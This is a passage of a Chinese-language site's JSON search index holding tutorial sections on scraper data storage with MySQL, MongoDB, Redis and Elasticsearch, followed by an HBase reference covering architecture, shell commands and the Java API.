KEY (user_id) REFERENCES users(id), INDEX idx_user_id (user_id), INDEX idx_created_at (created_at), FULLTEXT INDEX idx_content (title, content) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:3:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#表设计示例"},{"categories":null,"collections":null,"content":"Python 操作示例 import pymysql from dbutils.pooled_db import PooledDB class MySQLStorage: def __init__(self, host='localhost', port=3306, user='root', password='', database='scraper'): self.pool = PooledDB( creator=pymysql, maxconnections=20, mincached=2, maxcached=5, host=host, port=port, user=user, password=password, database=database, charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor ) def insert_article(self, article): \"\"\"插入文章\"\"\" conn = self.pool.connection() try: with conn.cursor() as cursor: sql = \"\"\" INSERT INTO articles (user_id, title, content, view_count) VALUES (%(user_id)s, %(title)s, %(content)s, %(view_count)s) \"\"\" cursor.execute(sql, article) conn.commit() return cursor.lastrowid finally: conn.close() def batch_insert(self, articles): \"\"\"批量插入\"\"\" conn = self.pool.connection() try: with conn.cursor() as cursor: sql = \"\"\" INSERT INTO articles (user_id, title, content) VALUES (%(user_id)s, %(title)s, %(content)s) \"\"\" cursor.executemany(sql, articles) conn.commit() finally: conn.close() def query_by_user(self, user_id, limit=10): \"\"\"查询用户文章\"\"\" conn = self.pool.connection() try: with conn.cursor() as cursor: sql = \"\"\" SELECT * FROM articles WHERE user_id = %s ORDER BY created_at DESC LIMIT %s \"\"\" cursor.execute(sql, (user_id, limit)) return cursor.fetchall() finally: conn.close() ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:3:3","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#python-操作示例"},{"categories":null,"collections":null,"content":"MongoDB ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:4:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#mongodb"},{"categories":null,"collections":null,"content":"适用场景 半结构化数据 Schema 经常变动 需要水平扩展 读写性能要求高 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:4:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#适用场景-1"},{"categories":null,"collections":null,"content":"文档设计示例 // 用户文档 { \"_id\": ObjectId(\"507f1f77bcf86cd799439011\"), \"username\": \"john_doe\", \"email\": \"john@example.com\", \"profile\": { \"age\": 30, \"location\": \"Beijing\" }, \"tags\": [\"tech\", \"science\"], \"created_at\": ISODate(\"2024-01-01T00:00:00Z\") } // 文章文档 { \"_id\": ObjectId(\"507f191e810c19729de860ea\"), \"user_id\": ObjectId(\"507f1f77bcf86cd799439011\"), \"title\": \"Web 逆向入门\", \"content\": \"...\", \"tags\": [\"逆向\", \"爬虫\"], \"stats\": { \"views\": 1000, \"likes\": 50 }, \"comments\": [ { \"user\": \"alice\", \"text\": \"Great article!\", \"date\": ISODate(\"2024-01-02T00:00:00Z\") } ], \"created_at\": ISODate(\"2024-01-01T00:00:00Z\") } ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:4:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#文档设计示例"},{"categories":null,"collections":null,"content":"Python 操作示例 from pymongo import MongoClient, ASCENDING, DESCENDING from datetime import datetime class MongoStorage: def __init__(self, uri='mongodb://localhost:27017/', db_name='scraper'): self.client = MongoClient(uri) self.db = self.client[db_name] self.articles = self.db.articles # 创建索引 self.articles.create_index([('user_id', ASCENDING)]) self.articles.create_index([('created_at', DESCENDING)]) self.articles.create_index([('title', 'text'), ('content', 'text')]) def insert_article(self, article): \"\"\"插入文章\"\"\" article['created_at'] = datetime.now() result = self.articles.insert_one(article) return result.inserted_id def batch_insert(self, articles): \"\"\"批量插入\"\"\" for article in articles: article['created_at'] = datetime.now() result = self.articles.insert_many(articles) return result.inserted_ids def find_by_user(self, user_id, limit=10): \"\"\"查询用户文章\"\"\" cursor = self.articles.find( {'user_id': user_id} ).sort('created_at', DESCENDING).limit(limit) return list(cursor) def update_views(self, article_id): \"\"\"更新浏览量\"\"\" self.articles.update_one( {'_id': article_id}, {'$inc': {'stats.views': 1}} ) def text_search(self, keyword): \"\"\"全文搜索\"\"\" cursor = self.articles.find( {'$text': {'$search': keyword}} ).limit(20) return list(cursor) def aggregate_stats(self): \"\"\"聚合统计\"\"\" pipeline = [ {'$group': { '_id': '$user_id', 'total_articles': {'$sum': 1}, 'total_views': {'$sum': '$stats.views'} }}, {'$sort': {'total_views': -1}}, {'$limit': 10} ] return list(self.articles.aggregate(pipeline)) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:4:3","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#python-操作示例-1"},{"categories":null,"collections":null,"content":"Redis ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:5:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#redis"},{"categories":null,"collections":null,"content":"适用场景 缓存热点数据 分布式锁 消息队列 计数器、排行榜 Session 存储 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:5:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#适用场景-2"},{"categories":null,"collections":null,"content":"使用示例 import redis import json import pickle from functools import wraps class RedisStorage: def __init__(self, host='localhost', port=6379, db=0): self.r = redis.Redis(host=host, port=port, db=db, decode_responses=False) def cache_result(self, key, data, expire=3600): \"\"\"缓存数据\"\"\" self.r.setex(key, expire, pickle.dumps(data)) def get_cache(self, key): \"\"\"获取缓存\"\"\" data = self.r.get(key) if data: return pickle.loads(data) return None def cache_decorator(self, expire=3600): \"\"\"缓存装饰器\"\"\" def decorator(func): @wraps(func) def wrapper(*args, **kwargs): cache_key = f\"{func.__name__}:{args}:{kwargs}\" result = self.get_cache(cache_key) if result is not None: return result result = func(*args, **kwargs) self.cache_result(cache_key, result, expire) return result return wrapper return decorator def incr_counter(self, key): \"\"\"计数器\"\"\" return self.r.incr(key) def add_to_set(self, key, *values): \"\"\"添加到集合\"\"\" return self.r.sadd(key, *values) def is_crawled(self, url): \"\"\"检查 URL 是否已爬取\"\"\" return self.r.sismember('crawled_urls', url) def mark_as_crawled(self, url): \"\"\"标记 URL 已爬取\"\"\" self.r.sadd('crawled_urls', url) def add_to_queue(self, queue_name, item): \"\"\"添加到队列\"\"\" self.r.lpush(queue_name, json.dumps(item)) def get_from_queue(self, queue_name, timeout=0): \"\"\"从队列获取\"\"\" result = self.r.brpop(queue_name, timeout=timeout) if result: return json.loads(result[1]) return None def sorted_set_add(self, key, score, member): \"\"\"添加到有序集合\"\"\" self.r.zadd(key, {member: score}) def get_top_n(self, key, n=10): \"\"\"获取排行榜前 N 名\"\"\" return self.r.zrevrange(key, 0, n-1, withscores=True) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:5:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#使用示例"},{"categories":null,"collections":null,"content":"Elasticsearch ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:6:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#elasticsearch"},{"categories":null,"collections":null,"content":"适用场景 全文搜索 日志分析 实时数据分析 大规模数据检索 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:6:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#适用场景-3"},{"categories":null,"collections":null,"content":"索引设计示例 from elasticsearch import Elasticsearch from datetime import datetime class ElasticsearchStorage: def __init__(self, hosts=['localhost:9200']): self.es = Elasticsearch(hosts) self.index_name = 'articles' self._create_index() def _create_index(self): \"\"\"创建索引\"\"\" if not self.es.indices.exists(index=self.index_name): mapping = { 'mappings': { 'properties': { 'title': { 'type': 'text', 'analyzer': 'ik_max_word', 'search_analyzer': 'ik_smart' }, 'content': { 'type': 'text', 'analyzer': 'ik_max_word' }, 'author': { 'type': 'keyword' }, 'tags': { 'type': 'keyword' }, 'created_at': { 'type': 'date' }, 'view_count': { 'type': 'integer' } } } } self.es.indices.create(index=self.index_name, body=mapping) def index_document(self, doc_id, document): \"\"\"索引文档\"\"\" document['created_at'] = datetime.now() return self.es.index( index=self.index_name, id=doc_id, body=document ) def bulk_index(self, documents): \"\"\"批量索引\"\"\" from elasticsearch.helpers import bulk actions = [ { '_index': self.index_name, '_id': doc['id'], '_source': doc } for doc in documents ] return bulk(self.es, actions) def search(self, query, size=10): \"\"\"搜索\"\"\" body = { 'query': { 'multi_match': { 'query': query, 'fields': ['title^2', 'content'] } }, 'highlight': { 'fields': { 'title': {}, 'content': {} } }, 'size': size } return self.es.search(index=self.index_name, body=body) def search_by_tags(self, tags, size=10): \"\"\"按标签搜索\"\"\" body = { 'query': { 'terms': { 'tags': tags } }, 'size': size } return self.es.search(index=self.index_name, body=body) def aggregate_by_author(self): \"\"\"按作者聚合\"\"\" body = { 'size': 0, 'aggs': { 'authors': { 'terms': { 'field': 'author', 'size': 10 }, 'aggs': { 'avg_views': { 'avg': { 'field': 'view_count' } } } } } } return self.es.search(index=self.index_name, body=body) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:6:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#索引设计示例"},{"categories":null,"collections":null,"content":"混合存储方案 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:7:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#混合存储方案"},{"categories":null,"collections":null,"content":"典型架构 ┌─────────────────────────────────────┐ │ Application Layer │ └─────────────┬───────────────────────┘ │ ┌─────────┴──────────┐ │ │ ▼ ▼ ┌─────────┐ ┌──────────┐ │ Redis │ │ MySQL │ │ (Cache) │ │ (Master) │ └─────────┘ └────┬─────┘ │ ┌─────────┴─────────┐ │ │ ▼ ▼ ┌──────────┐ ┌──────────┐ │ MongoDB │ │ ES │ │(文档存储) │ │(全文搜索) │ └──────────┘ └──────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:7:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#典型架构"},{"categories":null,"collections":null,"content":"实现示例 class HybridStorage: def __init__(self): self.redis = RedisStorage() self.mysql = MySQLStorage() self.mongo = MongoStorage() self.es = ElasticsearchStorage() def save_article(self, article): \"\"\"保存文章（多存储）\"\"\" # 1. MySQL 存储基本信息 article_id = self.mysql.insert_article({ 'user_id': article['user_id'], 'title': article['title'], 'created_at': article['created_at'] }) # 2. MongoDB 存储完整文档 article['_id'] = article_id self.mongo.insert_article(article) # 3. Elasticsearch 索引（用于搜索） self.es.index_document(article_id, article) # 4. Redis 缓存热点数据 cache_key = f\"article:{article_id}\" self.redis.cache_result(cache_key, article, expire=3600) return article_id def get_article(self, article_id): \"\"\"获取文章（缓存优先）\"\"\" # 1. 先查 Redis 缓存 cache_key = f\"article:{article_id}\" cached = self.redis.get_cache(cache_key) if cached: return cached # 2. 查 MongoDB article = self.mongo.articles.find_one({'_id': article_id}) if article: # 回写缓存 self.redis.cache_result(cache_key, article, expire=3600) return article return None def search_articles(self, keyword): \"\"\"搜索文章（使用 ES）\"\"\" return self.es.search(keyword) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:7:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#实现示例"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:8:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#性能优化"},{"categories":null,"collections":null,"content":"1. 批量操作 # 批量插入 def batch_insert_optimized(articles, batch_size=1000): for i in range(0, len(articles), batch_size): batch = articles[i:i+batch_size] storage.batch_insert(batch) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:8:1","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#1-批量操作"},{"categories":null,"collections":null,"content":"2. 连接池 # 使用连接池避免频繁创建连接 from dbutils.pooled_db import PooledDB pool = PooledDB( creator=pymysql, maxconnections=20, mincached=2, blocking=True ) ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:8:2","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#2-连接池"},{"categories":null,"collections":null,"content":"3. 索引优化 -- 创建合适的索引 CREATE INDEX idx_user_created ON articles(user_id, created_at); -- 分析查询性能 EXPLAIN SELECT * FROM articles WHERE user_id = 123; ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:8:3","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#3-索引优化"},{"categories":null,"collections":null,"content":"相关章节 分布式爬虫架构 监控与告警系统 Docker 容器化部署 ","date":"2025-09-25","objectID":"/reverse_engineering/web/06-engineering/data_storage_solutions/:9:0","tags":["Web","Docker","工程实践","分布式","Root检测","DEX"],"title":"数据存储方案","uri":"/reverse_engineering/web/06-engineering/data_storage_solutions/#相关章节"},{"categories":null,"collections":null,"content":"HBase 分布式 NoSQL 数据库 Apache HBase 是一个分布式、面向列的开源数据库，基于 Google Bigtable 论文实现，运行在 HDFS 之上。 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:0:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#hbase-分布式-nosql-数据库"},{"categories":null,"collections":null,"content":"HBase 架构 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:1:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#hbase-架构"},{"categories":null,"collections":null,"content":"核心组件 ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ RegionServer│ │ RegionServer│ │ RegionServer│ │ Region1,2 │ │ Region3,4 │ │ Region5,6 │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ ▼ ▼ ▼ ┌─────────────────────────────────────────────────────┐ │ HDFS 集群 │ └─────────────────────────────────────────────────────┘ │ ▼ ┌───────────────┐ │ ZooKeeper │ └───────────────┘ 组件 说明 HMaster 管理 RegionServer，处理表的创建/删除，Region 分配 RegionServer 处理数据读写请求，管理多个 Region Region 表的水平分片，包含一定范围的行 ZooKeeper 协调服务，存储元数据，故障检测 HDFS 底层存储系统 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:1:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#核心组件"},{"categories":null,"collections":null,"content":"Region 详细结构 Region ├── Store (列族) │ ├── MemStore (内存缓冲) │ └── HFile (磁盘文件) │ ├── Data Block │ ├── Index Block │ └── Bloom Filter └── WAL (Write-Ahead Log) ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:1:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#region-详细结构"},{"categories":null,"collections":null,"content":"写入流程 Client → RegionServer: 写请求 WAL: 先写预写日志（保证数据持久性） MemStore: 数据写入内存 Flush: MemStore 达到阈值时刷写到 HFile Compaction: 定期合并 HFile ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:1:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#写入流程"},{"categories":null,"collections":null,"content":"读取流程 Client → RegionServer: 读请求 MemStore: 先查内存中的数据 BlockCache: 查询缓存的 HFile 块 HFile: 从磁盘读取数据 Merge: 合并多个来源的数据返回 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:1:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#读取流程"},{"categories":null,"collections":null,"content":"数据模型 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:2:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#数据模型"},{"categories":null,"collections":null,"content":"逻辑视图 Table: user_info ├── Row Key: user001 │ ├── Column Family: basic_info │ │ ├── name:zhang_san (timestamp:1234567890) │ │ └── age:25 (timestamp:1234567891) │ └── Column Family: contact_info │ ├── email:zhang@example.com (timestamp:1234567892) │ └── phone:13800138000 (timestamp:1234567893) └── Row Key: user002 └── ... ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:2:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#逻辑视图"},{"categories":null,"collections":null,"content":"物理存储 basic_info Store: user001:name:1234567890 → zhang_san user001:age:1234567891 → 25 user002:name:1234567900 → li_si contact_info Store: user001:email:1234567892 → zhang@example.com user001:phone:1234567893 → 13800138000 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:2:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#物理存储"},{"categories":null,"collections":null,"content":"核心概念 概念 说明 Row Key 行键，表的主键，按字典序排序 Column Family 列族，列的逻辑分组 Column Qualifier 列限定符，列族下的具体列 Cell 单元格，由(row, column family, column qualifier, timestamp)确定 Timestamp 时间戳，同一 Cell 的多个版本 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:2:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#核心概念"},{"categories":null,"collections":null,"content":"Shell 操作 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:3:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#shell-操作"},{"categories":null,"collections":null,"content":"连接与基本操作 # 启动 HBase Shell hbase shell # 查看状态 status version # 查看集群信息 whoami ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:3:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#连接与基本操作"},{"categories":null,"collections":null,"content":"命名空间管理 # 创建命名空间 create_namespace 'my_namespace' # 列出命名空间 list_namespace # 删除命名空间 drop_namespace 'my_namespace' ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:3:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#命名空间管理"},{"categories":null,"collections":null,"content":"表操作 # 创建表（带配置） create 'user_info', {NAME =\u003e 'basic_info', VERSIONS =\u003e 3, TTL =\u003e 2592000}, {NAME =\u003e 'contact_info', COMPRESSION =\u003e 'SNAPPY'} # 列出表 list # 查看表结构 describe 'user_info' # 禁用表 disable 'user_info' # 启用表 enable 'user_info' # 删除表 drop 'user_info' # 修改表结构 alter 'user_info', {NAME =\u003e 'basic_info', VERSIONS =\u003e 5} ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:3:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#表操作"},{"categories":null,"collections":null,"content":"数据操作 # 插入数据 put 'user_info', 'user001', 'basic_info:name', 'zhang_san' put 'user_info', 'user001', 'basic_info:age', '25' put 'user_info', 'user001', 'contact_info:email', 'zhang@example.com' # 查询单行 get 'user_info', 'user001' # 查询指定列族 get 'user_info', 'user001', 'basic_info' # 查询指定列 get 'user_info', 'user001', 'basic_info:name' # 扫描表 scan 'user_info' # 条件扫描 scan 'user_info', {STARTROW =\u003e 'user001', ENDROW =\u003e 'user999'} scan 'user_info', {FILTER =\u003e \"SingleColumnValueFilter('basic_info', 'age', \u003e=, 'binary:18')\"} # 删除数据 delete 'user_info', 'user001', 'basic_info:age' # 删除行 deleteall 'user_info', 'user001' # 计数 count 'user_info' ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:3:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#数据操作"},{"categories":null,"collections":null,"content":"Java API ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:4:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#java-api"},{"categories":null,"collections":null,"content":"连接配置 // 配置连接 Configuration conf = HBaseConfiguration.create(); conf.set(\"hbase.zookeeper.quorum\", \"node1,node2,node3\"); conf.set(\"hbase.zookeeper.property.clientPort\", \"2181\"); // 创建连接 Connection connection = ConnectionFactory.createConnection(conf); Admin admin = connection.getAdmin(); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:4:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#连接配置"},{"categories":null,"collections":null,"content":"表管理 // 创建表 TableName tableName = TableName.valueOf(\"user_info\"); HTableDescriptor tableDesc = new HTableDescriptor(tableName); // 添加列族 HColumnDescriptor basicInfo = new HColumnDescriptor(\"basic_info\"); basicInfo.setMaxVersions(3); basicInfo.setTimeToLive(30 * 24 * 60 * 60); // 30 天 TTL HColumnDescriptor contactInfo = new HColumnDescriptor(\"contact_info\"); contactInfo.setCompressionType(Compression.Algorithm.SNAPPY); tableDesc.addFamily(basicInfo); tableDesc.addFamily(contactInfo); // 创建表 admin.createTable(tableDesc); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:4:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#表管理"},{"categories":null,"collections":null,"content":"数据操作 Table table = connection.getTable(TableName.valueOf(\"user_info\")); // 插入数据 Put put = new Put(Bytes.toBytes(\"user001\")); put.addColumn(Bytes.toBytes(\"basic_info\"), Bytes.toBytes(\"name\"), Bytes.toBytes(\"zhang_san\")); put.addColumn(Bytes.toBytes(\"basic_info\"), Bytes.toBytes(\"age\"), Bytes.toBytes(\"25\")); table.put(put); // 批量插入 List\u003cPut\u003e puts = new ArrayList\u003c\u003e(); for (int i = 0; i \u003c 1000; i++) { Put batchPut = new Put(Bytes.toBytes(\"user\" + String.format(\"%03d\", i))); batchPut.addColumn(Bytes.toBytes(\"basic_info\"), Bytes.toBytes(\"name\"), Bytes.toBytes(\"user\" + i)); puts.add(batchPut); } table.put(puts); // 查询数据 Get get = new Get(Bytes.toBytes(\"user001\")); get.addFamily(Bytes.toBytes(\"basic_info\")); Result result = table.get(get); // 解析结果 for (Cell cell : result.listCells()) { String family = Bytes.toString(CellUtil.cloneFamily(cell)); String qualifier = Bytes.toString(CellUtil.cloneQualifier(cell)); String value = Bytes.toString(CellUtil.cloneValue(cell)); System.out.println(family + \":\" + qualifier + \" = \" + value); } // 扫描数据 Scan scan = new Scan(); scan.setStartRow(Bytes.toBytes(\"user001\")); scan.setStopRow(Bytes.toBytes(\"user999\")); scan.addFamily(Bytes.toBytes(\"basic_info\")); ResultScanner scanner = table.getScanner(scan); for (Result res : scanner) { // 处理结果 } scanner.close(); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:4:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#数据操作-1"},{"categories":null,"collections":null,"content":"过滤器 // 单列值过滤器 SingleColumnValueFilter filter = new SingleColumnValueFilter( Bytes.toBytes(\"basic_info\"), Bytes.toBytes(\"age\"), CompareFilter.CompareOp.GREATER_OR_EQUAL, Bytes.toBytes(\"18\") ); // 前缀过滤器 PrefixFilter prefixFilter = new PrefixFilter(Bytes.toBytes(\"user00\")); // 组合过滤器 FilterList filterList = new FilterList(FilterList.Operator.MUST_PASS_ALL); filterList.addFilter(filter); filterList.addFilter(prefixFilter); scan.setFilter(filterList); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:4:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#过滤器"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:5:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#性能优化"},{"categories":null,"collections":null,"content":"Row Key 设计 // 1. 避免热点：使用散列前缀 String rowKey = MD5Hash.digest(userId).toString().substring(0, 2) + \"_\" + userId; // 2. 时间倒序：便于查询最新数据 String rowKey = userId + \"_\" + (Long.MAX_VALUE - timestamp); // 3. 组合 Key：支持多维查询 String rowKey = region + \"_\" + userId + \"_\" + timestamp; ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:5:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#row-key-设计"},{"categories":null,"collections":null,"content":"列族设计 // 合理设计：按访问模式分组 create 'user_profile', {NAME =\u003e 'profile', COMPRESSION =\u003e 'SNAPPY'}, // 用户基本信息 {NAME =\u003e 'behavior', TTL =\u003e 604800} // 用户行为数据(7天 TTL) // 避免：列族过多 // 避免：不同访问模式的列放在同一列族 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:5:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#列族设计"},{"categories":null,"collections":null,"content":"批量操作 List\u003cPut\u003e puts = new ArrayList\u003c\u003e(); for (UserData user : userData) { Put put = createPut(user); puts.add(put); // 批量提交 if (puts.size() \u003e= 1000) { table.put(puts); puts.clear(); } } // 提交剩余数据 if (!puts.isEmpty()) { table.put(puts); } ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:5:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#批量操作"},{"categories":null,"collections":null,"content":"缓存配置 // 启用 Block Cache HColumnDescriptor family = new HColumnDescriptor(\"data\"); family.setBlockCacheEnabled(true); family.setCacheBloomsOnWrite(true); family.setCacheDataOnWrite(true); family.setCacheIndexesOnWrite(true); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:5:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#缓存配置"},{"categories":null,"collections":null,"content":"集群管理 